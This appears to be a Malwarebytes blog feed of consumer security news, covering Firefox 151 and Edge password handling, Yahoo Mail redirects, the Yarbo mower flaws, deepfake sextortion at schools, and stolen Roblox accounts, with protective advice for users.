Catch spyware in the act with Windows Webcam Monitoring

21 May 2026 at 12:19

You’re working hard late at night, replying to emails and planning the week ahead. Then suddenly, a PDF file requests access to your camera.  Why would a PDF need camera access? 

Cybercriminals often disguise spyware inside seemingly harmless files and programs. An unexpected request for access to your webcam can be a red flag that something is amiss. 

Malwarebytes Windows Webcam Monitoring alerts you if a program tries to access your camera, so you can allow trusted programs to continue or block suspicious ones instantly. 

Spyware doesn’t just steal passwords. Some malicious apps try to access webcams to secretly spy on victims or capture sensitive information. 

What does Windows Webcam Monitoring do?  

  • Sends you an instant alert when a program tries to access your webcam.  
  • Allows only the programs you trust to access your camera, blocking everything else. 
  • Lets you manage notification preferences in Privacy Controls. A dedicated “Webcam Monitoring” table shows recognized programs and gives you control over which apps trigger alerts, and which don’t. 

With the benefit of real-time alerts, Windows Webcam Monitoring gives you visibility into which programs are trying to access your devices. And when it’s something you don’t recognize, it may even help you stop spyware before it can spy on you. 

At Malwarebytes, we believe security shouldn’t be complicated. Windows Webcam Monitoring is another step toward giving you simple, proactive protection that works automatically, so you can stay focused on pretty much anything else.  

Ready to take control?

Update Malwarebytes for Windows, go to Privacy Controls and enable Webcam Monitoring.

Firefox 151 packs big privacy upgrades into a small update

20 May 2026 at 13:46

Mozilla has published release notes for Firefox browser version 151.0, and this update includes several genuinely meaningful privacy and security improvements.

Three changes stand out in particular:

  • Stronger anti‑fingerprinting
  • Broader protection for local network access
  • More control over private sessions and permissions

Note that Mozilla says several Firefox 151 features are “part of a progressive roll out,” meaning they will appear for some users first and be expanded over time. So, you may not see all of them immediately.

Privacy

One of the more visible additions is a new “end private session” control in Private Browsing Mode. Instead of closing every private window to clear your traces, you now get a dedicated fire‑icon button next to the address bar that wipes the current private session’s data and immediately starts a fresh one.

End private session button
End private session button

Under the hood, this clears the usual private browsing artifacts for that session, including history, cookies, cached files, and other site data that would normally disappear only when the last private window closes.

For people who routinely mix normal and private windows, this is safer and less error‑prone than hunting down every private tab before you walk away from the machine.

Firefox 151 also tightens its defenses against browser fingerprinting in the default “Standard” Enhanced Tracking Protection (ETP) mode. Mozilla says Firefox now limits the amount of device and browser information exposed to websites in a way that reduces the number of uniquely identifiable users by about 14% overall, and by roughly 49% on macOS.

This makes it harder for trackers to pick you out of the crowd, especially on platforms with fewer users to begin with (like certain macOS configurations). This reduces the privacy risk surface by default, which makes it harder for phishing and landing pages that redirect visitors to “categorize” you.

Another important change is Firefox’s “local network access restrictions,” which are now rolling out to all users, not just those who turned Enhanced Tracking Protection to Strict.

This means that when a website wants to communicate with devices on your local network, or with apps and services running on your machine, Firefox now asks for permission first. Chrome and Edge have been rolling out similar permission prompts.

Security

Firefox 151 also quietly fixes several security vulnerabilities.

The most notable example is CVE‑2026‑8953, a sandbox escape due to a use‑after‑free in the Disability Access APIs component. While there are currently no reports of in‑the‑wild exploitation for this specific bug at the time of writing, this is the kind of bug cybercriminals love.

A use-after-free (UAF) is a software memory vulnerability where a program attempts to access a memory location after it has been freed. If the program fails to clear the pointer to that freed memory, attackers can manipulate the error to crash the system or execute arbitrary code. A memory corruption leading to a sandbox escape is exactly the kind of link attackers want to complete a browser exploit chain.

How to update

If you’re running Firefox in a home or small‑office environment, we recommend updating to Firefox 151 as soon as possible to get the fingerprinting protections, local network access prompts, and security patches.

To update Firefox:

  • Open Firefox
  • Click the menu (three stacked lines) in the upper-right corner
  • Go to Help > About Firefox
  • Firefox will automatically check for updates and begin downloading them
  • Restart the browser when prompted to complete the update

Once your Firefox browser has been updated, it will show a green checkmark along with the message: “Firefox is up to date.”

Firefox is up to date

YouTube wants your face to fight deepfakes

19 May 2026 at 12:51

If you’re worried about deepfake likenesses of yourself showing up online, you’re not alone; YouTube is worried for you. It wants to protect you by having you upload a selfie video and government ID to its site.

The idea is that the video giant will use its own AI to patrol the service for fake videos using your likeness. In exchange, you get the chance to have them taken down.

This isn’t available for everyone, though. It’s for celebs, those in vulnerable jobs, and now, most YouTube creators.

YouTube has been working on this concept, which it calls its “likeness detection” system, since it first floated the idea publicly in September 2024. That December, it launched a partnership with the Creative Artists Agency that saw it using the technology with sporting and entertainment figures.

In October last year, it expanded likeness detection to cover more creators, and then in March it expanded it again to cover politicians and journalists. And last month, it widened the net again, offering the service to Hollywood celebs. They can use it regardless of whether they have a YouTube account, it added.

Now, in its latest move, anyone 18 or older with a selfie and ID can sign up. At least in theory, as it hasn’t rolled out to everyone yet. It’s also for faces only; AI-generated voice clones are another problem entirely.

The privacy risk

Privacy advocates warned that YouTube’s likeness detection system could normalize handing biometric data to large tech platforms, even if YouTube says the data is only used to improve likeness detection models with creator permission.

On the help page for the likeness detection service, YouTube says creators can separately choose whether their face and voice templates are used to improve its likeness detection models.

“When you sign up for Likeness detection, you also have the option to allow YouTube to use your face and voice templates to develop and improve likeness detection models. This helps us build better, more accurate likeness detection technologies.”

Adding:

“You can opt out of YouTube’s use of this data for development and improvement of likeness models at any time.”

YouTube supports legislation intended to tackle deepfakes, such as the NO FAKES and TAKE IT DOWN acts. These are designed to help stop the misappropriation of someone’s image online. TAKE IT DOWN, which became law a year ago, focuses purely on “nonconsensual intimate imagery.” But that doesn’t cover other kinds of deepfakes, such as fake politicians or celebrity endorsements. Those are becoming increasingly common. NO FAKES, which hasn’t yet become law, is far broader in scope, assigning people federal rights over their own image.

So is it worth the trade?

Deepfakes, intimate and otherwise, are definitely a threat, especially for YouTubers who become popular. And the barrier to entry is lowering all the time. Google’s own DeepMind researchers found most generative AI misuse isn’t sophisticated; it’s mundane likeness manipulation by anyone with a browser.

So do you hand over your face and government ID for your protection, to a company whose broader data collection practices have faced years of scrutiny, and hope its policies don’t change? Or do you skip it and hope that the deepfake merchants don’t decide to target you?

Creators commenting on YouTube’s video revealing the service six months ago were less than impressed. One commenter said:

“I was 100% on board, up until the ID upload. That makes me very uncomfortable.”

Echoing several others who complained that it’s difficult to get takedown requests actioned, another added:

“If YouTube actually acted upon these kinds of reports, then I’d be more in favour of this.”

Whether you decide to sign up for the service or not, just be sure to do it with your eyes open.

Microsoft is changing Edge’s plaintext password behavior

18 May 2026 at 12:42

Microsoft said it will change Edge’s password handling as a “defense‑in‑depth” measure.

Originally, Edge decrypted the entire saved‑password store on startup and kept all credentials resident in process memory in clear text for the whole browser session, regardless of whether a given credential was ever used or not.

A short while ago, Microsoft said this plaintext password behavior was by design. Now, Microsoft has changed course, and the new password-handling behavior is already present in Canary (the experimental preview version of Microsoft Edge), with rollout prioritized across all channels.

The researcher who originally flagged the issue said:

“Edge is the only Chromium‑based browser I’ve tested that behaves this way. By contrast, Chrome uses a design that makes it far harder for attackers to extract saved passwords by simply reading process memory.”

Microsoft Edge Security Lead Gareth Evans said Microsoft is now taking a broader view and has committed to changing Edge so that saved passwords are no longer loaded into memory on startup as clear text. As a result, exposure will be reduced as a defense‑in‑depth improvement. That means even if an attacker has administrative control of a device, it becomes harder to harvest all the passwords.

According to Microsoft:

“Going forward, Microsoft Edge will no longer load all saved passwords into memory at browser startup. Instead, passwords will be decrypted only when needed for autofill or password management operations.”

The change is already live in the Edge Canary channel and will be included in the next update for all supported Edge releases (build 148 and newer across Stable, Beta, Dev, Canary, and Extended Stable).

The reason for this change is probably more reputational and strategic rather than an acknowledgment of an exploitable vulnerability. Microsoft seems to want to align reality with its “secure by design” messaging and reduce a very visible, easy‑to‑demo weakness, even if it still doesn’t treat it as a classic memory‑disclosure bug.

Passwords in your browser

Please note that this change just means Edge will become roughly as secure an option to store passwords as every other Chromium-based browser.

Your browser password manager gives you ease of use, but that comes with some security tradeoffs. Of course, password managers aren’t foolproof either, so it’s important to decide for yourself where you store your passwords.

If you’re confident a website is safe, and anyone who can access it under your account wouldn’t learn anything sensitive, feel free to store the password in your browser, but disable autofill so you stay in control.

Use MFA where possible. It enormously reduces the risk if someone gets hold of your password. And avoid using the browser password manager to store your credit card details or other sensitive personally identifiable information, such as medical information.

Meta’s confusing new approach to chat privacy

15 May 2026 at 14:34

Recent news had us wondering whether Meta actually knows what it wants.

On one platform, Meta is promoting AI chats that it says even it cannot read. On another, it has removed one of the few features that genuinely prevented Meta from accessing private conversations.

“Meta removed support for end-to-end encrypted chats from Instagram as of May 8, 2026.”

Meta adds fully private AI chats to WhatsApp.”

At the moment, Meta is heavily promoting a new Incognito Chat mode for its Meta AI assistant in WhatsApp, built on top of a system it calls Private Processing. According to WhatsApp’s own announcement, Incognito Chat is:

 “Truly private — no one can read your conversation, not even us.”

When you start an Incognito chat with Meta AI, you get a temporary conversation where messages aren’t saved and disappear by default, which Meta pitches as “a space to think and explore ideas without anyone watching.”

BBC News and others report that these AI chats are text‑only for now, run in a sandboxed environment, and are separate from your regular end‑to‑end encrypted (E2EE) messaging with other people on WhatsApp.

Meta is also preparing “Side Chat,” which will let you invoke Meta AI inside other WhatsApp chats, again using this Private Processing infrastructure to claim AI assistance without breaking the underlying encryption.

On paper, that’s an impressive technical and marketing story: powerful AI, wrapped in layers of privacy‑preserving infrastructure, added to an app that already has a strong reputation for end‑to‑end encryption by default.

Meanwhile, on Instagram…

Now contrast that with what’s happening on Instagram. On 8 May 2026, Meta removed optional end‑to‑end encryption for Instagram Direct Messages (DMs) entirely. Users who had previously turned the feature on were shown notices that “end‑to‑end encrypted messaging on Instagram is no longer supported as of 8 May 2026,” and were urged to download backups of their encrypted conversations before the cutoff.

End‑to‑end encryption ensures that only the sender and recipient can read their conversations. Instagram offered this as an opt‑in feature since late 2023, but it was buried several taps deep inside individual conversation settings and never turned on by default. Meta’s explanation for shutting it down is that “very few people” used encrypted DMs and that maintaining a separate encrypted system added complexity. Critics have pointed out the circular logic. The company hid the feature, did not advertise it, and is now using low adoption as the reason to kill it rather than, say, making it easier to find or turning it on by default.

What all this means

From a user’s perspective, the result is confusing: one Meta product introduces stronger privacy than ever for AI chats, while another removes the one feature that truly stopped Meta from reading your conversations.

The key point to remember here is that “incognito” and “private” are marketing words, while end‑to‑end encryption is a technical guarantee.

For security‑conscious users, this split personality means you can no longer treat all Meta chats the same. WhatsApp remains end‑to‑end encrypted for person‑to‑person messages and adds optional privacy features around its AI, while Instagram DMs should now be assumed readable by Meta and potentially accessible to law enforcement, advertisers, or attackers who gain access to Meta’s systems.


To boldly browse, away from prying eyes. 


Why make AI chats private?

We’ve seen that AI chats have suddenly turned up in search results without users’ knowledge. So there definitely is a positive side to this new feature.

We also know there have been lawsuits against chatbot providers in cases where the outcome of an AI conversation led to very undesirable results. But how would you be able to provide evidence when messages auto-disappear?

How to proceed

Meta’s recent moves show that strong privacy features can be added where they support a strategic narrative and removed where they conflict with business or regulatory priorities. Users can’t control those decisions, but they can respond by choosing where they hold their most sensitive conversations and by assuming that if a chat isn’t end‑to‑end encrypted by default, it is ultimately readable by someone other than the people in it.

So, what’s a safe way to move forward?

  • Treat Instagram DMs as postcard-level privacy. Now that E2EE is gone, assume Meta can read and scan your messages and that content could be accessed under legal orders or in a breach. Do not send passwords, recovery codes, banking details, or compromising photos over Instagram.
  • When someone asks you to move a conversation to Signal, WhatsApp, or another E2EE messenger, ask them why. It does make sense when you’re sharing financial details, personal images, health information, or anything you would not want a platform provider to read. But sometimes scammers prefer encrypted platforms too, because they’re harder to monitor.
  • Do not confuse “incognito” AI chats with full encryption. WhatsApp’s Incognito mode for Meta AI may be a privacy improvement over standard cloud AI chats, but it is still a conversation with a large language model owned by the same company that runs the platform. Share only what you’re comfortable entrusting to Meta.
  • Regularly review your privacy and security settings. Check which devices are logged in, enable two‑factor authentication, and verify which of your chat apps are actually end‑to‑end encrypted by default.

Scammers know more about you than you think.

Why Malwarebytes blocks some Yahoo Mail redirects

14 May 2026 at 12:47

Some Malwarebytes users have recently noticed frequent web protection alerts while reading email in Yahoo Mail’s web interface. These alerts are caused by background connections from the Yahoo Mail page to a set of third‑party domains that our products and other security tools currently classify as risky.

What we are seeing under the hood

When you open Yahoo Mail in a browser, the page loads various embedded components for navigation, features, and metrics. As part of this, the interface makes calls to domains such as cook.howduhtable.com and related subdomains, sometimes in the context of URLs that include /ybar/mail.yahoo.com/ and a long encoded parameter. That encoded string often resolves to a URL like:

https://gpt.mail.yahoo.net/sandbox?client=novation&version=0.1&haq=1&cache=1

This suggests the traffic is being routed through what appears to be a sandboxed web component that Yahoo can use for things like telemetry, testing infrastructure, or mail features. It may also be part of an advertising or tracking flow, but at this time we cannot say with certainty exactly what purpose Yahoo is using it for.

Regardless of intent, multiple security systems have observed these redirect domains and assigned them poor reputations. Characteristics include:

  • Frequently changing, opaque subdomains that do not resemble normal consumer‑facing Yahoo addresses
  • Use of encoded parameters and chained redirects that make it difficult for users, and sometimes defenders, to see the final destination at a glance
  • Existing detections and blocklists from other vendors that classify the infrastructure as suspicious or potentially malicious

Because of these signals, Malwarebytes Web Protection and Browser Guard have been blocking a growing list of related subdomains to protect users, which is why some people see repeated alerts while using Yahoo Mail.

What we are not saying

It is important to be clear about what we do and do not know.

We have not established that Yahoo Mail itself is compromised or that Yahoo is deliberately distributing malware through its mail platform. What we can say is that third‑party or internal components invoked from within the Yahoo Mail web interface are making connections through domains that behave very similarly to infrastructure commonly associated with malicious or deceptive advertising and tracking.

From a security standpoint, this creates unnecessary risk. Any mechanism that injects content or runs sandboxed components via opaque redirect chains could, if misused or subverted in the future, expose users to harmful content without them ever clicking a suspicious link.

Blocking these domains is a precautionary step in line with our normal protection standards.

Why Malwarebytes blocks these redirects

Our decision to block these connections is based on a combination of technical behavior and third‑party reputation data:

  • The redirects are triggered by embedded components in the Yahoo Mail interface, not by users intentionally browsing to those domains
  • The infrastructure relies on frequently changing, non‑descriptive domains and subdomains, a pattern we often see in malicious or evasive advertising and tracking systems
  • Multiple security vendors and automated reputation feeds already flag these domains as risky or malicious, and some have seen them associated with unwanted or harmful activity

Because of this, Malwarebytes products currently block connections to these third‑party domains when they are invoked as part of Yahoo Mail’s web experience. This does not mean that all of Yahoo Mail is considered malicious. It means we are specifically interrupting a narrow set of background calls that present elevated risk.

What this means for users

If you use Yahoo Mail in a browser with Malwarebytes enabled, you may see:

  • Web protection or MWAC alerts referencing domains like cook.howduhtable.com or similar names while you are reading or composing email
  • Multiple alerts in a short period, because the mail interface may retry or rotate through different subdomains or IP addresses in the same family

In most cases, your email content itself still loads, though certain embedded elements, metrics, or ad‑related content may fail to load or behave differently.

How to stay safe and reduce interruptions

You should not need to lower your protection to continue using Yahoo Mail. Here are some practical steps you can take:

  • Keep Malwarebytes protection enabled
    Leaving Web Protection and Browser Guard on ensures blocks remain in place if these redirects change behavior or begin serving harmful content in the future.
  • Avoid allowlisting the suspicious domains
    While it’s technically possible to add exclusions for individual domains, doing so would allow their traffic to load unfiltered in your browser. We don’t recommend this unless you fully understand and accept the risk.
  • Use private/incognito windows for Yahoo Mail
    Accessing Yahoo Mail in a private/incognito session can help reduce persistence of certain tracking and advertising data because the browser discards cookies and local storage when you close the window.
  • Clear cookies and site data periodically
    If you see repeated alerts, clearing Yahoo‑related cookies and cached data may reduce some of the underlying tracking behavior that triggers these redirects.
  • Consider fewer‑ads options
    Yahoo offers paid plans that reduce or remove ads, and users can also use reputable content‑blocking extensions alongside Malwarebytes to cut down on ad‑driven behavior in webmail interfaces.

Our ongoing monitoring

The domains and infrastructure involved in these redirects are operated outside Malwarebytes, and their configuration or behavior may change over time. We are actively monitoring telemetry, sandbox reports, and reputation data for these domains and related infrastructure, and we will adjust our detections if new information emerges.

Our priority is to keep users safe while being transparent about why protection events occur, especially in widely used services such as webmail. If we learn more about the exact role of this component within Yahoo Mail, or if Yahoo provides additional clarity, we will update this article accordingly.

Deepfake sextortion forces schools to remove student photos from websites

14 May 2026 at 11:00

Schools love a good photo, whether it’s from a trip to a castle, a science prize ceremony, or sports day shot from three angles. For two decades, celebratory images like these have gone straight onto school websites, captioned with a name and a grade. But those days are gone, because it’s the internet in 2026 and we can’t have nice things.

As first reported by the Guardian, experts are now urging schools to take those pictures down. According to the UK’s National Crime Agency, the Internet Watch Foundation, and an advisory body called the Early Warning Working Group (EWWG), blackmailers have been scraping ordinary school photos, feeding them through AI deepfake tools to manufacture child sexual abuse material (CSAM), and demanding payment to keep the images offline.

One school, 150 images

Late last year, cybercriminals contacted an unnamed UK secondary school with that demand. The IWF classified 150 of the resulting images as CSAM under UK law and generated digital fingerprints for each image so major platforms could block reuploads.

The IWF isn’t naming the school or the police force, and it doesn’t believe this was an isolated case. The EWWG says it’s “only a matter of time” before more schools face similar demands.

UK safeguarding minister Jess Phillips called it a “deeply worrying emerging threat.” In February 2025, the UK became the first country to ban AI tools designed specifically to generate CSAM.

How we got here

This threat didn’t appear overnight, and it isn’t limited to the UK. It’s an evolution of a long-time threat: sextortion, when someone uses intimate images to blackmail you. Traditionally, sextortion relied on real intimate images that were stolen or shared, but deepfake AI has changed everything.

The FBI’s Internet Crime Complaint Center (IC3) logged more than 16,000 sextortion complaints in the first half of 2021, with losses exceeding $8 million. By June 2023, the bureau warned the playbook had shifted: attackers were using ordinary social media photos to create fake explicit images and extort minors.

UK children’s counseling helpline Childline has seen similar shifts as deepfake tools become more accessible. It already logs many sextortion cases each year, many from kids who were manipulated into sharing intimate images of themselves. Now, the organization is getting calls from children who are being sent deepfake CSAM images of themselves without any prior contact.

One 15-year-old girl, for example, was sent a “really convincing” fake nude built from her Instagram photos.

By November 2025, IWF reports of AI-generated CSAM had more than doubled year over year, rising from 199 to 426. Girls accounted for 94% of the victims. Reported cases included children ranging from newborns to two-year-olds, according to the organization.

The ecosystem around these tools is industrial. In April 2025, a researcher found an exposed AWS S3 bucket belonging to South Korean “nudify” app GenNomis containing 93,485 AI-generated images alongside the prompts that produced them.

What the schools are being told

The EWWG’s advice is to replace close-up, identifiable photos with images taken from a distance, blurred images, or photos shot from behind. It also advises schools to remove full names from captions, audit existing images, and ask parents to re-sign consent forms.

In fact, it advises schools to rethink whether they need to publish children’s photos online at all.

Some schools have already acted. According to the Guardian, Loughborough Schools Foundation, a group of three private schools sharing a website, removed recognizable pupil images entirely last year.

The UK Information Commissioner’s Office (ICO) says that it “would still generally expect you to offer an opt-out to parents” when publishing an identifiable photo of a child, but says this isn’t legally the same as consent, which has a higher bar.

Things get murkier in the US, where states often have their own student privacy statutes. Broadly, though, under the Family Educational Rights and Privacy Act (FERPA), schools typically include identifiable photos of students under the category of directory information. This category also covers name, address, telephone listing, date and place of birth, participation in officially recognized activities and sports, and dates of attendance.

Under FERPA, schools can publish this type of information unless the child’s guardian specifically opts out. They have to notify a guardian when they want to publish it, but that process may not apply indefinitely after a student leaves the school.

That means student photos and information can remain online long after families assume they have disappeared.

What happens next

Back in the UK, Childline’s Report Remove service allows children to flag explicit images or videos of themselves that have been posted online. The service took 394 blackmail reports from under-18s last year, up by one-third compared to 2024.

Meanwhile, the UK government is amending the Crime and Policing Bill, forcing platforms to take flagged intimate images down within 48 hours or face fines of 10% of global revenue.

We anticipate a race between regulators and AI-enabled cybercriminals. Right now, attackers still have to manually find the photos themselves. The concern is that this process could soon become automated, allowing criminals to scrape names and photos from school websites and social media platforms at scale.

For parents, the simplest protection may be limiting how many identifiable pictures of your children are available online. That includes being vigilant not just with your child’s school, but their sports clubs, extracurricular activities, and social media accounts.

Texas sued Netflix over claims it secretly collected and sold users’ data

13 May 2026 at 15:34

Attorney General (AG) of Texas Ken Paxton announced that he sued Netflix for spying on Texans, including children, and collecting users’ data without their knowledge or consent.  

The suit alleges Netflix secretly tracks and monetizes detailed viewing behavior of users, including children, while misleading users about its data practices. The case could reshape how Netflix collects data, targets ads, and designs “addictive” features, especially for minors. 

According to the complaint, Netflix allegedly ran what the AG’s office calls a “surveillance program,” turning every click, pause, and binge session into data that could be sold to advertisers and data brokers.

Netflix firmly denies the accusations, calling the lawsuit “inaccurate” and claiming it complies with privacy laws wherever it operates. Spokesperson Jamil Walker said:

“The suit lacks merit and is based on inaccurate and distorted information.”

But regardless of how this specific case plays out, the lawsuit raises a bigger question for all subscribers: Just how much does your streaming service really know about you, and what does it do with that information?

The Texas complaint paints a picture of Netflix as a data company first and a streaming service second. Paxton’s office even describes Netflix as:

“A logging company that records and monetizes billions of behavioral events—and occasionally streams movies.”

The complaint also references a 2024 ruling by the Dutch Data Protection Authority, which said Netflix does not disclose the true scale or granularity of this data collection. The lawsuit claims Netflix did not just use this data internally for recommendations but also sold it to commercial data brokers and ad tech companies, generating “billions of dollars” annually. 

The AG wants to stop the unlawful collection and disclosure of user data, require Netflix to disable autoplay by default on kid’s profiles, and impose other injunctive relief and civil penalties.

For customers, the main consequences could include potential changes to data collection, targeted advertising, autoplay defaults, and clearer consent and privacy controls. For subscribers on Netflix’s ad‑supported plans, this could slightly change how “personal” ads feel, at least in jurisdictions where regulators clamp down.

Plus, the lawsuit serves as a reminder that streaming habits may be far more trackable than users assumed. Even if Netflix ultimately wins or settles without admitting wrongdoing, the lawsuit puts a spotlight on what the company collects and why.

Netflix privacy and account settings

It will probably take a while before this lawsuit leads to any changes. But there are a few things you can do to protect your privacy:

  • Netflix lets users view and remove entries from their watch history per profile, which can reduce how much historical behavior feeds into recommendations.
  • Where available, turn off non‑essential marketing emails or in‑app promotions that rely on behavioral profiling.
  • Use the parental controls Netflix offers you and turn off autoplay previews.

Basically, treat your Netflix account like any other online account: Review every profile, remove old ones, and take five minutes to walk through the privacy- and playback‑related options.

Yarbo responds to robot flaws that could mow down their owners

11 May 2026 at 15:21

A researcher found that Yarbo yard robots came with a host of vulnerabilities which, among others, allowed an attacker to harvest WiFi passwords.

Security researcher Andreas Makris found he could remotely hijack thousands of Yarbo yard robots worldwide, and proved it by having his mower run him over. The root cause was a cluster of “legacy” design choices: every robot shared the same hardcoded root password, remote tunnels were left open, and Message Queuing Telemetry Transport (MQTT) messaging was so weakly protected that once you had one device, you effectively had the worldwide fleet.

An attacker could pull GPS coordinates, email addresses, and Wi‑Fi passwords, turn cameras into remote spying tools, and even re‑arm the mower after someone hit the emergency stop. 

All of this was enabled by a persistent backdoor tunnel that users could neither see nor meaningfully control. The risks fell into three very different buckets:

  • A heavy mower with remotely controllable blades and an emergency stop that can be bypassed is a real-world safety hazard.
  • Exposed telemetry meant attackers could map where devices were, see who owned them, and in some reports even view camera feeds.
  • Network abuse through shared root credentials meant compromised robots could scan local networks, steal more data, or be folded into a botnet.

Yarbo’s public response is unusually detailed for a consumer Internet of Things (IoT) vendor. It’s also refreshingly blunt in admitting that the researcher’s core findings were accurate. The company temporarily disabled the remote diagnostic tunnels, reset root passwords, locked down unauthenticated endpoints, and began ripping out unnecessary legacy access paths.

More importantly, Yarbo promises structural changes:

  • Unique per‑device credentials.
  • Over-the-Air  (OTA) credential rotation.
  • Audited, allowlist‑based remote diagnostics.
  • Dedicated security contact, with a possible bug bounty to follow.

That is the sort of long‑term security hygiene we rarely see spelled out this clearly after an IoT fiasco.

From a disclosure and remediation standpoint, Yarbo is doing many things right: crediting the researcher, apologizing, prioritizing fixes, and explaining both short‑term patches and long‑term architectural changes in human language. For buyers of connected devices with blades, that level of transparency is a positive precedent.

But Yarbo has explicitly chosen to keep a remote access tunnel, although wrapped in better controls and logs, instead of offering users the option to remove or fully opt out of it.

How to secure IoT devices

The vulnerabilities uncovered in the Yarbo case present an almost a live-action demo of what the IoT Cybersecurity Improvement Act is trying to prevent in US government deployments. While the Act doesn’t apply to Yarbo directly, its National Institute of Standards and Technology (NIST)-driven requirements map neatly onto what went wrong here.

So, it’s still up to users to make sure you:

  • Change the default credentials.
  • Check if the vendor will make updates available and how easy it is to install them before buying an IoT product. And then install the updates when available.
  • If you can, put your IoT devices on a separate network. Use a guest Wi‑Fi or separate VLAN when available.
  • Disable what you don’t need. Turn off UPnP, remote access, cloud control, and unnecessary services if you’re not actively using them.
  • If your router or security suite logs connections from IoT devices, skim those logs for odd spikes or unknown destinations.

Let’s face it, an incognito window can only do so much.

Microsoft says Edge’s plaintext password behavior is “by design”

8 May 2026 at 14:48

Some time ago, we discussed whether you should allow your browser to remember your passwords.

In that article we mentioned the importance of encryption.

With a browser password manager, someone with access to your browser could see your passwords in clear text, although Windows can be set to ask for authentication (the same you use at startup of your device).”

The typical behavior of browser password managers is to store passwords encrypted on disk, tied to your user account, and protected by the operating system.

But recently, a security researcher systematically tested every major Chromium-based browser for how they handle credentials in memory. The researcher found that Edge was the only one loading the entire password vault into plaintext process memory at startup, where it remains for the duration of the session.  

Chrome and other Chromium browsers were observed to only decrypt a password when needed (autofill or “show password”), not the whole vault, and to use mechanisms like app‑bound encryption for keys. Edge does not use those protections in this context.

So, the researcher decided to write a proof-of-concept (PoC) demonstrating that accessing that vault doesn’t rely on zero-days or complex exploitation. It relies on the relatively simple ability to read process memory, which does require elevated privileges.

But when the researcher reported the issue to Microsoft, the response was underwhelming. The company’s official response was that the behavior is “by design.” The reasoning most likely is that this behavior speeds up sign‑in and autofill, and attackers would already need a compromised machine or elevated access to read RAM, which Microsoft treats as out of scope for this design decision.

Which is basically true. An attacker already needs significant foothold: for example, code execution on the box and the ability to read Edge’s process memory, often requiring elevated privileges. This is not a remote, unauthenticated bug in the browser, but the design makes post‑compromise credential harvesting easier. And it’s a capability many infostealers already have.

It’s just another thing an attacker can do once they’ve compromised your machine. Combined with this academic study from 2024, which found many password managers leak plaintext passwords into memory under some conditions, it leads us to repeat our advice.

Should you allow your browser to remember your passwords?

Your browser password manager gives you ease of use, but that costs you some security. Of course, password managers aren’t foolproof either, so it’s important to decide for yourself where you store your passwords.

If you’re confident the website is safe, and anyone that can access it under your account won’t learn anything new, feel free to store the password in your browser, but disable autofill so you stay in control.

Use MFA where possible. It enormously reduces the risk should someone get hold of your password. And refrain from using the browser password manager to store your credit card details or other sensitive personally identifiable information, such as medical information.

But we’d add that, among the major browsers, Edge appears to be the weakest option if you still choose to use a built‑in password manager.

If a fake moustache can fool age checks, is the Online Safety Act working?

7 May 2026 at 12:21

A report based on a survey by the UK’s Internet Matters shows that much of the responsibility for managing the online safety of children still falls on families.

The Online Safety Act came into effect in July, 2025, and the report explores what has changed in the online lives of UK families since then.

We discussed in December 2025 whether the privacy risks of age verification outweighed the enhanced child protection. While the report shows some progress, it mostly provides “an early view of how the online landscape is changing, and crucially, where it is not.”

Around half of children say they now see more age-appropriate content, and roughly four in ten parents and children feel the online world has become somewhat safer.

The online world is as much a part of a child’s environment as the physical world is. And blocking the view to parts of that world is not taken lightly. Almost half of children think age checks are easy to bypass. About a third admit to doing so recently, using tactics from fake birthdates and borrowed logins to spoofed faces and, less commonly, VPNs.

“I did catch my son [12] using an eyebrow pencil to draw a moustache on his face, and it verified him as 15 years old.”

Yet 90% of children who noticed improved blocking and reporting saw this as a good thing. Their support for these safety features is pragmatic. They point to:

  • clearer rules
  • restricted contact with strangers
  • limits on high-risk functions

 They also rate these features as helpful in reducing exposure to harmful content and interactions.

But the system is not perfect. In the month after the child protection codes came into force, almost half of children reported some online harm, including violent, hateful, and body image-related content that should be covered by the Act’s protections.

The survey also revealed that age checks are now commonplace. Over half of children said they were asked to verify their age within a recent two-month window, often on major platforms like TikTok, YouTube/Google, and Roblox, on both new and existing accounts.

The technology is improving. Platforms use facial age estimation, government ID, and third-party age assurance apps, and these are usually easy for children to complete.

However, gains in protection come with unresolved and, in some cases, growing concerns around privacy and data use, especially around age verification and AI.

Parents are worried not just about what data is collected for age checks, but whether it will be stored or reused by government or industry. This has fueled calls for central, privacy-protective solutions rather than fragmented data collection across platforms.

Because age assurance systems are both intrusive (in terms of data) and often ineffective (easy workarounds, weak enforcement), the report suggests they may not yet provide a good safety-to-privacy trade-off from a family perspective.

Obviously, the survey also didn’t capture input from adults pretending to be children to gain access to child-only spaces, a risk that parents link directly to predatory behavior.

The authors conclude that the Online Safety Act has started to reshape children’s online environments, making safety features more visible and enabling more age‑appropriate experiences in some areas.

However, the Act has not yet produced a “step change.” Harmful content remains widespread, age‑assurance is patchy and easy to circumvent, and key concerns such as time spent online, AI risks, and persuasive design remain under‑regulated.

Hackers stole hundreds of thousands of Roblox accounts: Here’s what to do

30 April 2026 at 17:48

More than 610,000 Roblox accounts were reportedly stolen. Was yours or your child’s among them?

Ukrainian police arrested three individuals in Lviv who allegedly orchestrated one of the largest Roblox account theft operations to date. Between October 2025 and January 2026, the hacking group is said to have compromised over 610,000 Roblox accounts, including at least 357 high-value “elite” accounts, making around $225,000 from selling access to them.

The hackers distributed infostealing malware disguised as game-enhancement tools, harvested login credentials from infected devices, and sold accounts through a Russian website and closed online communities based on their value.

This operation targeted Roblox accounts because they hold significant monetary value for many users. Accounts can contain high Robux balances, limited-edition items that can no longer be obtained, years of gaming progress with achievements and unlocks, and paid access to premium content. 

Roblox account recovery

If you recently downloaded any suspicious game enhancements or other Roblox-related software, your first priority is to run a full system anti-malware scan.

Then check for unknown or untrusted browser extensions. Keep only those that came from verified, trusted sources.

If the scans led to any removals, clear your browser history and cookies completely. Note that this will log you out of most websites.

If you still have access to your Roblox account, change your password and turn on two-step verification if you haven’t already.

If the hackers changed your password and you’re unable to log in, use the password recovery option on the Roblox login page by clicking “Forgot Password or Username?”. Enter the email address associated with your account and check your inbox (including spam folders) for the reset link.

After recovering access, immediately terminate all active sessions to prevent hackers from maintaining access through stolen cookies. Go to Settings > Security and click Log out of all other sessions at the bottom of the page. This ensures that anyone who had unauthorized access can no longer use your account.

If you’ve been completely locked out—because hackers have changed both your password and recovery details—contact Roblox Support immediately. Visit the Roblox support page and provide as much detail as possible. They may ask for:

  • Your account username (this is crucial for identification).
  • The original email address used to create the account.
  • Payment information or purchase receipts showing Robux transactions.
  • The approximate date and time of the compromise.
  • Screenshots showing account details before the compromise, including creation date.
  • Your previous account settings or any other details that prove ownership.

